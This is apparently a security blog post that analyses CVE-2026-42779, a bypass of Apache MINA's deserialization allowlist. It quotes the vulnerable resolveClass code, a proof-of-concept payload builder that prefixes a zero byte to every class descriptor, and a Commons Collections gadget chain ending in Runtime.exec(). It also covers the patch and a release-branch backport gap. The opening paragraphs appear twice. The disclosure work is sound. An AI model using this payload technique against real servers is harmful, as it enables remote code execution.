//nefariousplan

CVE-2026-42779: Apache MINA Shipped the Fix on One Branch. The Same Day, Two Other Branches Shipped the Bug.

patterns

cve

proof of concept

On 2026-04-24, Apache MINA released three versions on the same day: 2.0.28, 2.1.11, and 2.2.6. One of them contained a fix for a deserialization filter bypass. The other two shipped the bug.

The fix had been committed to the 2.0.X branch the day before, in 8b1dadb55. The maintainer's commit message: "Added patch regarding whitelist bypassing backported from mina-2.2.X." There was no such 2.2.X commit. The fix did not exist on 2.2.X yet. It would not land there for another five days.

CVE-2026-42779 is what we call the gap.

On 2026-04-24, Apache MINA released three versions on the same day: 2.0.28, 2.1.11, and 2.2.6. One of them contained a fix for a deserialization filter bypass. The other two shipped the bug.

The fix had been committed to the 2.0.X branch the day before, in 8b1dadb55. The maintainer's commit message: "Added patch regarding whitelist bypassing backported from mina-2.2.X." There was no such 2.2.X commit. The fix did not exist on 2.2.X yet. It would not land there for another five days.

CVE-2026-42779 is what we call the gap.

The filter only inspects classes the JVM has already loaded

IoBuffer.getObject() is Apache MINA's helper for pulling a Java-serialized object off the wire. Internally it constructs an ObjectInputStream with two overrides: readClassDescriptor(), which reads MINA's compact wire format, and resolveClass(), which maps an ObjectStreamClass back to a runtime Class<?>.

MINA's wire format puts a one-byte type tag in front of every class descriptor. Type 0 is "non-Serializable class, primitive, or array"; the bytes that follow are the standard Java ObjectStreamClass blob, and readClassDescriptor() delegates to super.readClassDescriptor(). Type 1 is "Serializable class"; the bytes that follow are a single UTF string with the class name, and readClassDescriptor() calls Class.forName(name) directly.

In November 2024, the MINA maintainers added an allowlist for deserialized class names. The mechanism was the acceptMatchers list, configured via IoBuffer.accept(Class<?>...). The intent was the standard one for the deserialization bug class: a callsite says "I expect HashMap and Date here," and the filter rejects anything else. The same November commit added the allowlist on all three live branches: f9cc5ada6 on 2.2.X, cdb59eb61 on 2.1.X, and 834396355 on 2.0.X. All three commits added the same filter logic. All three filter logics had the same bypass.

Here is the resolveClass Apache MINA 2.2.6 shipped, lifted unedited from AbstractIoBuffer.java:

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    Class<?> clazz = desc.forClass();

    if (clazz == null) {
        String name = desc.getName();

        try {
            return Class.forName(name, false, classLoader);
        } catch (ClassNotFoundException ex) {
            return super.resolveClass(desc);
        }
    } else {
        boolean found = false;
        String className = desc.getName();

        for (ClassNameMatcher matcher : acceptMatchers) {
            if (matcher.matches(className)) {
                found = true;
                break;
            }
        }

        if (found) {
            return clazz;
        }

        throw new ClassNotFoundException();
    }
}

Read it at face value. There is one branch that calls Class.forName(name) without consulting acceptMatchers, and one branch that consults acceptMatchers and returns a class the JVM has already resolved.

ObjectStreamClass.forClass() returns a non-null value when the JVM has already loaded the class for that descriptor. It returns null otherwise. The branch that consults the filter is the one where the JVM has already resolved the class. The branch that loads new classes is the one without the filter.

The acceptMatchers list rejects nothing.

The exploit primitive is one byte

The PoC's craftPayload function is fifteen lines:

static byte[] craftPayload(Object obj) throws Exception {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();

    try (ObjectOutputStream oos = new ObjectOutputStream(baos) {
        @Override
        protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
            // ATTACK: write type 0 (non-Serializable path) for ALL classes
            write(0);
            super.writeClassDescriptor(desc);
        }
    }) {
        oos.writeObject(obj);
        oos.flush();
    }

    byte[] objData = baos.toByteArray();

    ByteArrayOutputStream minaStream = new ByteArrayOutputStream();
    DataOutputStream dos = new DataOutputStream(minaStream);
    dos.writeInt(objData.length);
    dos.write(objData);

    return minaStream.toByteArray();
}

The attacker writes a 0 byte before every class descriptor. That byte makes MINA's readClassDescriptor() take the type-0 branch and hand off to super.readClassDescriptor(). Java's stock parser builds an ObjectStreamClass from the descriptor bytes; that ObjectStreamClass has not been bound to a runtime class yet, so its forClass() returns null. resolveClass() sees the null, falls into the no-filter branch, and calls Class.forName(name, false, classLoader). The class loads.

The attacker names a Commons Collections gadget chain. The CC6 variant the PoC ships is the canonical one, HashSet -> TiedMapEntry -> LazyMap -> ChainedTransformer -> Runtime.exec(). None of those classes are on any reasonable application's accept list. None of them need to be.

The HashSet's readObject calls add(), which calls hashCode() on its key, which is the TiedMapEntry. TiedMapEntry's hashCode resolves the value from the LazyMap. LazyMap, on a missing key, fires the ChainedTransformer. The chain calls Runtime.getRuntime().exec(cmd).

That is the entire exploit. Network access to a MINA endpoint that calls IoBuffer.getObject(), Commons Collections (or any equivalent gadget library) on the classpath, and one byte per class.

What runs MINA

IoBuffer.getObject() is reachable from any application using MINA's ObjectSerializationCodecFactory, the codec that says "this protocol speaks Java-serialized objects on the wire." That is the default codec for protocols that carry Java objects directly. Apache Directory Server uses MINA for LDAP transport. Apache SSHD uses MINA for the SSH transport layer. Apache FtpServer uses MINA. Apache Vysper used MINA for XMPP. Inside enterprise stacks, MINA is a common transport substrate for service buses and game servers, places where one process puts objects on the wire and another process pulls them off without anyone re-considering whether the object payload is trusted. The CVE record affects every one of those that uses getObject() or ObjectSerializationCodecFactory against untrusted clients.

The previous CVE in this code, CVE-2026-41635, fixed by the same Apache PMC advisory thread, was the one where there was no filter at all. The November 2024 commits closed CVE-2026-41635 by adding acceptMatchers. CVE-2026-42779 is what happens when the filter that closed the prior CVE is itself bypassable. The two CVE numbers cover the same function across two refactors. The patch for the first CVE introduced the bug the second CVE describes.

The patch is small. It shipped on the wrong branches.

The fix is the obvious one. Pull the filter check out of the clazz != null branch and put it at the top, before either Class.forName call:

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    String className = desc.getName();

    // apply acceptMatchers filter before any Class.forName() call,
    // regardless of whether forClass() is null or not
    if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
        throw new ClassNotFoundException("Class not in accept list " + className);
    }

    Class<?> clazz = desc.forClass();

    if (clazz != null) {
        return clazz;
    }

    try {
        return Class.forName(className, false, classLoader);
    } catch (ClassNotFoundException ex) {
        return super.resolveClass(desc);
    }
}

That diff was committed to the 2.0.X branch on 2026-04-23 in 8b1dadb55. The commit message: "Added patch regarding whitelist bypassing backported from mina-2.2.X." There was no such 2.2.X commit. The fix did not exist on 2.2.X yet. The maintainer wrote "backported from mina-2.2.X" while applying the only known instance of the fix to a different branch entirely.

The next day, 2026-04-24, three releases went out. 2.0.28 contained 8b1dadb55. 2.1.11 and 2.2.6 did not.

The same diff finally landed on the 2.1.X branch on 2026-04-29 as ba8c355d8, and on the 2.2.X branch the same day as cca24d646. Both commit messages: "Added a missing fix." 2.1.12 and 2.2.7 went out the same day.

This is a backport gap, the shape where a coordinated multi-branch release ships the security fix on one branch and ships the unfixed code on the others. For five days, anyone running the latest stable from the 2.1 or 2.2 branch was knowingly vulnerable. The advisory the Apache PMC published on 2026-05-01 lists 2.0.0 through 2.0.27 as fixed in 2.0.28, 2.1.0 through 2.1.11 as fixed in 2.1.12, and 2.2.0 through 2.2.6 as fixed in 2.2.7. The advisory does not mention that 2.1.11 and 2.2.6 are five days old. They were released as part of the same coordinated push that fixed 2.0.28.

The patch ships with two TODOs

Even after the missing fix landed, the file retains evidence the maintainer knew more than the patch reflects.

The type-1 branch of readClassDescriptor() in 2.2.7:

case 1: // Serializable class
    String className = readUTF();

    // Only accept classes that are listed as acceptable
    // Apply class filter BEFORE calling Class.forName
    if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
        throw new ClassNotFoundException("Class not in accept list " + className);
    }

    // Use initialize=false to prevent static block execution during class loading
    Class<?> clazz = Class.forName(className, true, classLoader);

The comment names the threat. Class.forName's second argument is the initialize flag; false skips static initializers, true runs them. Static initializers are a known deserialization gadget vector because class loading alone can be a side-effect surface. The maintainer noted this in a comment.

The line below the comment passes true.

The 2024-11-06 commit that introduced the acceptMatchers feature for the first time left a different testimony. Before the patch, AbstractIoBuffer.java carried these lines:

String[] classes = new String[] {"java.util.Date", "long", "java.util.ArrayList"};
// ...
//((ValidatingObjectInputStream)in).accept(Date.class, long.class, ArrayList.class);
return in.readObject();

ValidatingObjectInputStream is Apache Commons IO's correctly-implemented allowlisting deserializer. It applies the filter at the right layer. The MINA maintainer had the import in the file and the call written on a line, then commented the line out, then committed that commented line. It sat in AbstractIoBuffer.java for years. The November 2024 commit that introduced acceptMatchers did not uncomment the line. It deleted the line, and shipped a homegrown filter in its place. The homegrown filter is the one we have been reading.

This is the Todo That Shipped shape, recurring twice in the same function. The first instance was the commented-out call to a working library that would have prevented the bug class entirely. The second instance is the comment in the 2.2.7 patch promising a behavior the line below it does not implement. The codebase wrote both sentences before the attacker did.

The quiet part

The acceptMatchers list is a list of class names. The bypass works on classes whose names the filter has never seen. Adding more class names to your accept list does not help.

There is no allowlist of Class.forName callsites. There is no allowlist of resolveClass branches. The 2.2.7 patch closes one of them. The fallback at the end of the fixed function still calls super.resolveClass(desc), which still calls Class.forName against the same descriptor with no filter check. It just inherits the JVM's behavior, which is to load whatever was named.

The patch closes the bypass that this CVE is about. The pattern the bypass exploited, "we wrote a filter that runs after the load that mattered," is one bug, two branches, two TODOs, and one library-that-already-solves-this commented out for years before the patch deleted it without uncommenting. The fix was already in the codebase on 2026-04-23. The release engineer who cut 2.1.11 and 2.2.6 the next day did not know they needed it, or knew and did not have the commit, or had the commit and did not pick it. The CVE record cannot tell those three states apart. Neither can we.

PoC: dinosn/CVE-2026-42779

The fix was in the codebase on 2026-04-24. Two branches shipped that day without it. The window was five days, and the commit message labeled the fix a backport of itself.